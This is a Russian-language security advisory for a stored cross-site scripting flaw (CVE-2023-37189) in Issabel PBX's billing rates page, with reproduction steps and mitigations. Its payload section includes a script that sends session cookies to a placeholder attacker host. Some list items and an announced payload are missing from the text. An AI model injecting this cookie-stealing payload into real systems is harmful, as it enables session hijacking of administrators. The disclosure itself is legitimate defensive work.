
Уязвимость хранимого межсайтового скриптинга (XSS) существует в Issabel PBX версии 4.0.0-6 на странице управления тарифами (index.php?menu=billing_rates).
| Поле | Подробности |
|---|---|
| CVE ID | CVE-2023-37189 |
| Уязвимость | Сохранённый межсайтовый скриптинг (XSS) |
| Затронутый продукт | Issabel PBX 4.0.0-6 |
| Затронутый URL | index.php?menu=billing_rates |
| Уязвимые поля | Поля Name и Prefix в модуле Create New Rate |
| Серьёзность | Средняя (CVSS 3.1 Base Score: 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| Дата сообщения | 7 июля 2023 |
| Обнаружено | Sahil Ojha |
| Протестировано на | Windows |
| Сайт разработчика | https://www.issabel.org/ |
| Исходный код | https://github.com/IssabelFoundation/issabelPBX |
Уязвимость Сохранённый межсайтовый скриптинг (XSS) существует в Issabel PBX версии 4.0.0-6 на странице управления тарифами (index.php?menu=billing_rates).
Issabel PBX — широко используемая открытая платформа унифицированных коммуникаций, построенная на базе FreePBX/Asterisk. Её функция Billing → Rates позволяет администраторам определять записи тарифов с указанием пользовательских Name и Prefix. Из-за недостаточной санитизации ввода и кодирования вывода аутентифицированный злоумышленник может внедрить произвольный HTML или JavaScript в любое из этих полей. Вредоносный скрипт постоянно сохраняется в базе данных приложения и автоматически выполняется в браузере любого пользователя, который впоследствии посещает страницу Rates — включая других администраторов — без какого-либо дополнительного взаимодействия.
Этот класс уязвимостей особенно опасен в панелях администратора, поскольку:
Name и Prefix при отображении сохранённых значений на странице.Следующие нагрузки при вводе в поле Name или Prefix формы Create New Rate демонстрируют уязвимость:
Базовый alert (проверка работоспособности):
<script>alert('XSS')</script>
Кража сеансовых cookie (замените attacker.example.com на сервер, которым вы владеете и имеете право пользоваться — никогда не атакуйте реальных пользователей или системы):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
Вредоносная нагрузка на основе onerror (обход WAF):
⚠️ Примечание: Эти нагрузки предоставлены строго в образовательных целях и для исследований в области безопасности. Всегда получайте надлежащее письменное разрешение перед тестированием любой системы, которая вам не принадлежит.
Войдите в веб-интерфейс Issabel PBX под учётной записью администратора.
Перейдите в Reports → Billing → Rates (URL: index.php?menu=billing_rates).
Нажмите «Create New Rate» и введите подготовленную XSS-нагрузку в поле Prefix или Name.

Нажмите Save. Нагрузка теперь сохранена в базе данных.
Любой пользователь (включая других администраторов), посещающий страницу Billing Rates, автоматически выполнит скрипт в своём браузере.


Разработчику и системным администраторам рекомендуется применить следующие меры противодействия:
htmlspecialchars() в PHP с ENT_QUOTES). Это основная и наиболее надёжная защита от XSS.<, >, ", ', &) перед сохранением. Имейте в виду, что проверку ввода можно обойти, поэтому она не должна быть единственным средством защиты.Content-Security-Policy, чтобы ограничить выполнение встроенных скриптов.Этот репозиторий и содержащаяся в нём информация предоставлены только для образовательных целей и исследований в области безопасности. Автор не несёт ответственности за любое неправомерное использование или ущерб, вызванный предоставленной информацией. Всегда получайте явное письменное разрешение от владельца системы перед проведением любого тестирования безопасности.
Обнаружено и сообщено Sahil Ojha